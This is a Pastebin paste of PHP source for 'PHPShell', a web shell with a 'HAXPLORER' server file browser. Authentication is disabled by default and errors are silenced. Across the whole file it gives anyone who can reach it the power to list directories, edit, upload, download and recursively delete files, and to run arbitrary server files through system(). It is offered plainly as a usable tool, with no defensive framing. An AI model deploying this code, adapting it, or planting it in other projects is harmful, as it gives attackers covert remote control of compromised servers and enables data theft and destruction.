Advertisement
crypto0sy

php.shell

Dec 2nd, 2017
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.92 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. *****************************************************************************************
  5. * PHPSHELL.PHP BY crypto0sy december 12th 2017 *
  6. *****************************************************************************************
  7.  
  8. */
  9.  
  10.  
  11. /*Setting some envirionment variables...*/
  12.  
  13. /* I added this to ensure the script will run correctly...
  14. Please enter the Script's filename in this variable. */
  15. $SFileName=$PHP_SELF;
  16.  
  17. /* uncomment the two following variables if you want to use http
  18. authentication. This will password protect your PHPShell */
  19. //$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
  20. //$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
  21.  
  22. error_reporting(0);
  23. $PHPVer=phpversion();
  24. $isGoodver=(intval($PHPVer[0])>=4);
  25. $scriptTitle = "PHPShell";
  26. $scriptident = "$scriptTitle by Crypto0sy";
  27.  
  28. $urlAdd = "";
  29. $formAdd = "";
  30.  
  31. function walkArray($array){
  32. while (list($key, $data) = each($array))
  33. if (is_array($data)) { walkArray($data); }
  34. else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
  35. }
  36.  
  37. if (isset($_PUT)) walkArray($_PUT);
  38. if (isset($_GET)) walkArray($_GET);
  39. if (isset($_POST)) walkArray($_POST);
  40.  
  41.  
  42. $pos = strpos($urlAdd, "s=r");
  43. if (strval($pos) != "") {
  44. $urlAdd= substr($urlAdd, 0, $pos);
  45. }
  46.  
  47. $urlAdd .= "&s=r&";
  48.  
  49. if (empty($Pmax))
  50. $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
  51. if (empty($Pidx))
  52. $Pidx = 0;
  53.  
  54. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  55. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  56.  
  57. $scriptdate = "december 12th 2017";
  58. $scriptver = "Version 0.0.1";
  59. $LOCAL_IMAGE_DIR = "img";
  60. $REMOTE_IMAGE_URL = "img";
  61. $img = array(
  62. "Edit" => "edit.gif",
  63. "Download" => "download.gif",
  64. "Upload" => "upload.gif",
  65. "Delete" => "delete.gif",
  66. "View" => "view.gif",
  67. "Rename" => "rename.gif",
  68. "Move" => "move.gif",
  69. "Copy" => "copy.gif",
  70. "Execute" => "exec.gif"
  71. );
  72.  
  73. while (list($id, $im)=each($img))
  74. if (file_exists("$LOCAL_IMAGE_DIR/$im"))
  75. $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
  76. else
  77. $img[$id] = "[$id]";
  78.  
  79.  
  80.  
  81.  
  82. /* HTTP AUTHENTICATION */
  83.  
  84. if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
  85. setcookie("noauth","");
  86. Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
  87. Header( "HTTP/1.0 401 Unauthorized");
  88. echo "Your username or password is incorrect";
  89. exit ;
  90.  
  91. }
  92.  
  93. function buildUrl($display, $url) {
  94. global $urlAdd;
  95. $url = $SFileName . "?$urlAdd$url";
  96. return "<a href=\"$url\">$display</a>";
  97. }
  98.  
  99. function sp($mp) {
  100. for ( $i = 0; $i < $mp; $i++ )
  101. $ret .= "&nbsp;";
  102. return $ret;
  103. }
  104.  
  105. function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); }
  106.  
  107. function Mydeldir($Fdir) {
  108. if (is_dir($Fdir)) {
  109. $Fh=@opendir($Fdir);
  110. while ($Fbuf = readdir($Fh))
  111. if (($Fbuf != ".") && ($Fbuf != ".."))
  112. Mydeldir("$Fdir/$Fbuf");
  113. @closedir($Fh);
  114. return rmdir($Fdir);
  115. } else {
  116. return unlink($Fdir);
  117. }
  118. }
  119.  
  120.  
  121. function arrval ($array) {
  122. list($key, $data) = $array;
  123. return $data;
  124. }
  125.  
  126. function formatsize($insize) {
  127. $size = $insize;
  128. $add = "B";
  129. if ($size > 1024) {
  130. $size = intval(intval($size) / 1.024)/1000;
  131. $add = "KB";
  132. }
  133. if ($size > 1024) {
  134. $size = intval(intval($size) / 1.024)/1000;
  135. $add = "MB";
  136. }
  137. if ($size > 1024) {
  138. $size = intval(intval($size) / 1.024)/1000;
  139. $add = "GB";
  140. }
  141. if ($size > 1024) {
  142. $size = intval(intval($size) / 1.024)/1000;
  143. $add = "TB";
  144. }
  145. return "$size $add";
  146. }
  147.  
  148. if ($cmd != "downl") {
  149. ?>
  150.  
  151. <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->
  152. <HTML>
  153. <HEAD>
  154. <STYLE>
  155. <!--
  156. A{ text-decoration:none; color:navy; font-size: 12px }
  157. body { font-size: 12px;
  158. font-family: arial, helvetica;
  159. scrollbar-width: 5;
  160. scrollbar-height: 5;
  161. scrollbar-face-color: white;
  162. scrollbar-shadow-color: silver;
  163. scrollbar-highlight-color: white;
  164. scrollbar-3dlight-color:silver;
  165. scrollbar-darkshadow-color: silver;
  166. scrollbar-track-color: white;
  167. scrollbar-arrow-color: black;
  168. }
  169. Table { font-size: 12px; }
  170. TR{ font-size: 12px; }
  171. TD{ font-size: 12px;
  172. font-family: arial, helvetical;
  173. BORDER-LEFT: black 0px solid;
  174. BORDER-RIGHT: black 0px solid;
  175. BORDER-TOP: black 0px solid;
  176. BORDER-BOTTOM: black 0px solid;
  177. COLOR: black;
  178. }
  179. .border{ BORDER-LEFT: black 1px solid;
  180. BORDER-RIGHT: black 1px solid;
  181. BORDER-TOP: black 1px solid;
  182. BORDER-BOTTOM: black 1px solid;
  183. }
  184. .none { BORDER-LEFT: black 0px solid;
  185. BORDER-RIGHT: black 0px solid;
  186. BORDER-TOP: black 0px solid;
  187. BORDER-BOTTOM: black 0px solid;
  188. }
  189. .inputtext {
  190. background-color: #EFEFEF;
  191. font-family: arial, helvetica;
  192. border: 1px solid #000000;
  193. height: 20;
  194. }
  195. .lighttd { background: #F8F8F8;
  196. }
  197. .darktd { background: #E8E8E8;
  198. }
  199. input { font-family: arial, helvetica;
  200. }
  201. .inputbutton {
  202. background-color: silver;
  203. border: 1px solid #000000;
  204. border-width: 1px;
  205. height: 20;
  206. }
  207. .inputtextarea {
  208. background-color: #EFEFEF;
  209. border: 1px solid #000000;
  210. scrollbar-width: 5;
  211. scrollbar-height: 5;
  212. scrollbar-face-color: #EFEFEF;
  213. scrollbar-shadow-color: silver;
  214. scrollbar-highlight-color: #EFEFEF;
  215. scrollbar-3dlight-color:silver;
  216. scrollbar-darkshadow-color: silver;
  217. scrollbar-track-color: #EFEFEF;
  218. scrollbar-arrow-color: black;
  219. }
  220. .top { BORDER-TOP: black 1px solid; }
  221. .textin { BORDER-LEFT: silver 1px solid;
  222. BORDER-RIGHT: silver 1px solid;
  223. BORDER-TOP: silver 1px solid;
  224. BORDER-BOTTOM: silver 1px solid;
  225. width: 99%; font-size: 12px; font-weight: bold; color: navy;
  226. }
  227. .notop { BORDER-TOP: black 0px solid; }
  228. .bottom { BORDER-BOTTOM: black 1px solid; }
  229. .nobottom { BORDER-BOTTOM: black 0px solid; }
  230. .left { BORDER-LEFT: black 1px solid; }
  231. .noleft { BORDER-LEFT: black 0px solid; }
  232. .right { BORDER-RIGHT: black 1px solid; }
  233. .noright { BORDER-RIGHT: black 0px solid; }
  234. .silver{ BACKGROUND: silver; }
  235. -->
  236. </STYLE>
  237. <TITLE><?php echo $SFileName ?></TITLE>
  238. </HEAD>
  239. <body topmargin="0" leftmargin="0">
  240. <div style="position: absolute; background: white; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
  241. <table width=100% height="100%" NOWRAP border="0">
  242. <tr NOWRAP>
  243. <td width="100%" NOWRAP>
  244. <table NOWRAP width=100% border="0" cellpadding="0" cellspacing="0">
  245. <tr>
  246. <td width="100%" class="silver border">
  247. <center>
  248. <strong>
  249. <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
  250. </strong>
  251. </center>
  252. </td>
  253. </tr>
  254. </table><br>
  255.  
  256. <?php
  257. }
  258.  
  259. if ( $cmd=="dir" ) {
  260. $h=@opendir($dir);
  261. if ($h == false) {
  262. echo "<br><font color=\"red\">".sp(3)."\n\n\n\n
  263. COULD NOT OPEN THIS DIRECTORY!!!<br>".sp(3)."\n
  264. THE SCRIPT WILL RESULT IN AN ERROR!!!
  265. <br><br>".sp(3)."\n
  266. PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
  267. <br><br></font>\n\n\n\n";
  268. }
  269. if (function_exists('realpath')) {
  270. $partdir = realpath($dir);
  271. }
  272. else {
  273. $partdir = $dir;
  274. }
  275. if (strlen($partdir) >= 100) {
  276. $partdir = substr($partdir, -100);
  277. $pos = strpos($partdir, "/");
  278. if (strval($pos) != "") {
  279. $partdir = "<-- ...".substr($partdir, $pos);
  280. }
  281. $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
  282. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  283. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  284. }
  285. ?>
  286. <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir">
  287. <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
  288. <tr>
  289. <td width="100%" class="silver border">
  290. <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center>
  291. </td>
  292. </tr>
  293. </table>
  294. <br>
  295. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  296. <tr>
  297. <td class="border nobottom noright">
  298. &nbsp;Browsing:&nbsp;
  299. </td>
  300. <td width="100%" class="border nobottom noleft">
  301. <table width="100%" border="0" cellpadding="1" cellspacing="0">
  302. <tr>
  303. <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
  304. <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td>
  305. </tr>
  306. </table>
  307.  
  308. </td>
  309. </tr>
  310. </table>
  311. <!-- </form> -->
  312. <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
  313. <tr>
  314. <td width="100%" NOWRAP class="silver border">
  315. &nbsp;Filename&nbsp;
  316. </td>
  317. <td NOWRAP class="silver border noleft">
  318. &nbsp;Actions&nbsp;(Attempt to perform)&nbsp;
  319. </td>
  320. <td NOWRAP class="silver border noleft">
  321. &nbsp;Size&nbsp;
  322. </td>
  323. <td width=1 NOWRAP class="silver border noleft">
  324. &nbsp;Attributes&nbsp;
  325. </td>
  326. <td NOWRAP class="silver border noleft">
  327. &nbsp;Modification Date&nbsp;
  328. </td>
  329. <tr>
  330. <?php
  331.  
  332.  
  333. /* <!-- This whole heap of junk is the sorting section... */
  334.  
  335. $dirn = array();
  336. $filen = array();
  337. $filesizes = 0;
  338. while ($buf = readdir($h)) {
  339. if (is_dir("$dir/$buf"))
  340. $dirn[] = $buf;
  341. else
  342. $filen[] = $buf;
  343. }
  344. $dirno = count($dirn) + 1;
  345. $fileno = count($filen) + 1;
  346.  
  347. function mycmp($a, $b){
  348. if ($a == $b) return 0;
  349. return (strtolower($a) < strtolower($b)) ? -1 : 1;
  350. }
  351.  
  352. if (function_exists("usort")) {
  353. usort($dirn, "mycmp");
  354. usort($filen, "mycmp");
  355. }
  356. else {
  357. sort ($dirn);
  358. sort ($filen);
  359. }
  360. reset ($dirn);
  361. reset ($filen);
  362. if (function_exists('array_merge')) {
  363. $filelist = array_merge ($dirn, $filen);
  364. }
  365. else {
  366. $filelist = $dirn + $filen;
  367. }
  368.  
  369.  
  370. if ( count($filelist)-1 > $Pmax ) {
  371. $from = $Pidx * $Pmax;
  372. $to = ($Pidx + 1) * $Pmax-1;
  373. if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
  374. $to = count($filelist) - 1;
  375. if ($to > count($filelist)-1)
  376. $to = count($filelist)-1;
  377. $Dcontents = array();
  378. For ($Fi = $from; $Fi <= $to; $Fi++) {
  379. $Dcontents[] = $filelist[$Fi];
  380. }
  381.  
  382. }
  383. else {
  384. $Dcontents = $filelist;
  385. }
  386.  
  387. $tdcolors = array("lighttd", "darktd");
  388.  
  389. while (list ($key, $file) = each ($Dcontents)) {
  390. if (!$tdcolor=arrval(each($tdcolors))) {
  391. reset($tdcolors);
  392. $tdcolor = arrval(each($tdcolors)); }
  393.  
  394. if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
  395. /* <!-- Dirname --> */
  396. echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n";
  397. /* <!-- Actions --> */
  398. echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n";
  399. /* <!-- Rename --> */
  400. if ( ($file != ".") && ($file != "..") )
  401. echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
  402. /* <!-- Delete --> */
  403. if ( ($file != ".") && ($file != "..") )
  404. echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
  405. /* <!-- End of Actions --> */
  406. echo "&nbsp;&nbsp;</center></td>\n";
  407. /* <!-- Size --> */
  408. echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n";
  409. /* <!-- Attributes --> */
  410. echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
  411. echo "<strong>D</strong>";
  412. if ( @is_readable("$dir/$file") ) {
  413. echo "<strong>R</strong>";
  414. }
  415. if (function_exists('is_writeable')) {
  416. if ( @is_writeable("$dir/$file") ) {
  417. echo "<strong>W</stong>";
  418. }
  419. }
  420. else {
  421. echo "<strong>(W)</stong>";
  422. }
  423. if ( @is_executable("$dir/$file") ) {
  424. echo "<Strong>X<strong>";
  425. }
  426. echo "&nbsp;&nbsp;</td>\n";
  427. /* <!-- Date --> */
  428. echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
  429. echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  430. echo "</td>";
  431. echo "</tr>\n";
  432.  
  433. }
  434. else { /* <!-- Then it must be a File... --> */
  435. /* <!-- Filename --> */
  436. if ( @is_readable("$dir/$file") )
  437. echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n";
  438. else
  439. echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n";
  440. /* <!-- Actions --> */
  441. echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n";
  442. /* <!-- Rename --> */
  443. echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
  444. /* <!-- Edit --> */
  445. if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  446. echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
  447. /* <!-- Copy --> */
  448. echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
  449. /* <!-- Move --> */
  450. if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  451. echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
  452. /* <!-- Delete --> */
  453. echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
  454. /* <!-- Download --> */
  455. echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
  456. /* <!-- Execute --> */
  457. if ( @is_executable("$dir/$file") )
  458. echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
  459. /* <!-- End of Actions --> */
  460. echo sp(2)."</center></td>\n";
  461. /* <!-- Size --> */
  462. echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n";
  463. $size = @filesize("$dir/$file");
  464. If ($size != false) {
  465. $filesizes += $size;
  466. echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>";
  467. }
  468. else
  469. echo "&nbsp;&nbsp;<strong>0 B<strong>";
  470. echo "&nbsp;&nbsp;</td>\n";
  471.  
  472. /* <!-- Attributes --> */
  473. echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
  474.  
  475. if ( @is_readable("$dir/$file") )
  476. echo "<strong>R</strong>";
  477. if ( @is_writeable("$dir/$file") )
  478. echo "<strong>W</stong>";
  479. if ( @is_executable("$dir/$file") )
  480. echo "<Strong>X<strong>";
  481. if (function_exists('is_uploaded_file')){
  482. if ( @is_uploaded_file("$dir/$file") )
  483. echo "<Strong>U<strong>";
  484. }
  485. else {
  486. echo "<Strong>(U)<strong>";
  487. }
  488. echo "&nbsp;&nbsp;</td>\n";
  489. /* <!-- Date --> */
  490. echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
  491. echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  492. echo "</td>";
  493. echo "</tr>\n";
  494. }
  495. }
  496.  
  497. echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n";
  498. echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Dir(s),&nbsp;".@count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n";
  499. echo "</td><td NOWRAP class=\"silver border noleft\">\n";
  500. echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n";
  501.  
  502. function printpagelink($a, $b, $link = ""){
  503. if ($link != "")
  504. echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>";
  505. else
  506. echo "<b>| $a - $b |</b>";
  507. }
  508.  
  509. if ( count($filelist)-1 > $Pmax ) {
  510. echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>";
  511. $Fi = 0;
  512. while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
  513. $from = $Fi*$Pmax;
  514. while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
  515. $to = ($Fi + 1) * $Pmax - 1;
  516. if ($Fi == $Pidx)
  517. $link="";
  518. else
  519. $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
  520. printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
  521. echo "&nbsp;&nbsp;&nbsp;";
  522. $Fi++;
  523. }
  524. $from = $Fi*$Pmax;
  525. while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
  526. $to = count($filelist)-1;
  527. if ($Fi == $Pidx)
  528. $link="";
  529. else
  530. $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
  531. printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
  532.  
  533.  
  534. echo "</center></td></tr></table></td></tr>";
  535. }
  536.  
  537.  
  538. echo "</table>\n<br><table NOWRAP>";
  539.  
  540. if ($isGoodver) {
  541. echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n";
  542. }
  543. else {
  544. echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n";
  545. }
  546. /* <!-- Other Actions --> */
  547. echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n";
  548. echo "<td>&nbsp;<b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
  549. buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
  550. buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n";
  551. echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n";
  552. echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n";
  553. echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n";
  554. echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n";
  555. echo "<table NOWRAP>";
  556. echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n";
  557. echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n";
  558. echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n";
  559. echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n";
  560. echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n";
  561. echo "</table></td>";
  562. echo "</table>";
  563. echo "<br>";
  564. @closedir($h);
  565. }
  566. elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
  567. echo system("$file");
  568. }
  569. elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
  570. echo "<center><table><tr><td NOWRAP>" ;
  571. if ($auth == "yes") {
  572. if (Mydeldir($file)==false) {
  573. echo "Could not remove \"$file\"<br>Permission denied, or directory not empty...";
  574. }
  575. else {
  576. echo "Successfully removed \"$file\"<br>";
  577. }
  578. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
  579. }
  580. else {
  581. echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
  582. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  583. <input type=\"hidden\" name=\"cmd\" value=\"deldir\">
  584. <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
  585. <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
  586. <input type=\"hidden\" name=\"file\" value=\"$file\">
  587. <input type=\"hidden\" name=\"auth\" value=\"yes\">
  588. <input type=\"submit\" value=\"Yes\"></form>
  589. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  590. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  591. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  592. <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
  593. }
  594. echo "</td></tr></center>";
  595. }
  596. elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ;
  597. if ($auth == "yes") {
  598. if (@unlink($file)==false) {
  599. echo "Could not remove \"$file\"<br>";
  600. }
  601. else {
  602. echo "Successfully removed \"$file\"<br>";
  603. }
  604. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
  605. }
  606. else {
  607. echo "Are you sure you want to delete \"$file\" ?
  608. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  609. <input type=\"hidden\" name=\"cmd\" value=\"delfile\">
  610. <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
  611. <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
  612. <input type=\"hidden\" name=\"file\" value=\"$file\">
  613. <input type=\"hidden\" name=\"auth\" value=\"yes\">
  614.  
  615. <input type=\"submit\" value=\"Yes\"></form>
  616. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  617. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  618. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  619. <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
  620. }
  621. echo "</td></tr></center>";
  622. }
  623. elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
  624. echo "<center><table><tr><td NOWRAP>";
  625. $i = 1;
  626. while (file_exists("$lastdir/newfile$i.txt"))
  627. $i++;
  628. $file = fopen("$lastdir/newfile$i.txt", "w+");
  629. if ($file == false)
  630. echo "Could not create the new file...<br>";
  631. else
  632. echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>";
  633. echo "
  634. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  635. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  636. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  637. <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
  638. </form></center>
  639. </td></tr></table></center> ";
  640. }
  641. elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
  642. echo "<center><table><tr><td NOWRAP>" ;
  643. $i = 1;
  644. while (is_dir("$lastdir/newdir$i"))
  645. $i++;
  646. $file = mkdir("$lastdir/newdir$i", 0777);
  647. if ($file == false)
  648. echo "Could not create the new directory...<br>";
  649. else
  650. echo "Successfully created: \"$lastdir/newdir$i\"<br>";
  651. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\">
  652. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  653. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  654. <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
  655. </form></center></td></tr></table></center>";
  656. }
  657. elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
  658. $contents = "";
  659. $fc = @file( $file );
  660. while ( @list( $ln, $line ) = each( $fc ) ) {
  661. $contents .= htmlentities( $line ) ;
  662. }
  663. echo "<br><center><table><tr><td NOWRAP>";
  664. echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
  665. echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
  666. echo "<strong>EDIT FILE: </strong>$file<br>\n";
  667. echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
  668. echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
  669. echo "<input type=\"submit\" value=\"Save\">";
  670. echo "</form>";
  671. echo "</td></tr></table></center>";
  672. }
  673. elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
  674. $fo = fopen($file, "w");
  675. $wrret = fwrite($fo, stripslashes($contents));
  676. $clret = fclose($fo);
  677. }
  678. elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
  679. $downloadfile = urldecode($file);
  680. if (function_exists("basename"))
  681. $downloadto = basename ($downloadfile);
  682. else
  683. $downloadto = "download.ext";
  684. if (!file_exists("$downloadfile"))
  685. echo "The file does not exist";
  686. else {
  687. $size = @filesize("$downloadfile");
  688. if ($size != false) {
  689. $add="; size=$size";
  690. }
  691. else {
  692. $add="";
  693. }
  694. header("Content-Type: application/download");
  695. header("Content-Disposition: attachment; filename=$downloadto$add");
  696. $fp=fopen("$downloadfile" ,"rb");
  697. fpassthru($fp);
  698. flush();
  699. }
  700. }
  701. elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */
  702. ?>
  703. <center>
  704. <table>
  705. <tr>
  706. <td NOWRAP>
  707. Welcome to the upload section...
  708. Please note that the destination file will be
  709. <br> overwritten if it already exists!!!<br><br>
  710. <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post">
  711. <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776">
  712. <input type="hidden" name="cmd" value="uploadproc">
  713. <input type="hidden" name="dir" value="<?php echo $dir ?>">
  714. <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>">
  715. <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>">
  716. Select local file:<br>
  717. <input size="75" name="userfile" type="file"><br>
  718. <input type="submit" value="Send File">
  719. </form>
  720. <br>
  721. <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST">
  722. <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>">
  723. <input type="hidden" name="dir" value="<?php echo $lastdir ?>">
  724. <input tabindex="0" type="submit" value="Cancel">
  725. </form>
  726. </td>
  727. </tr>
  728. </table>
  729. </center>
  730.  
  731. <?php
  732. }
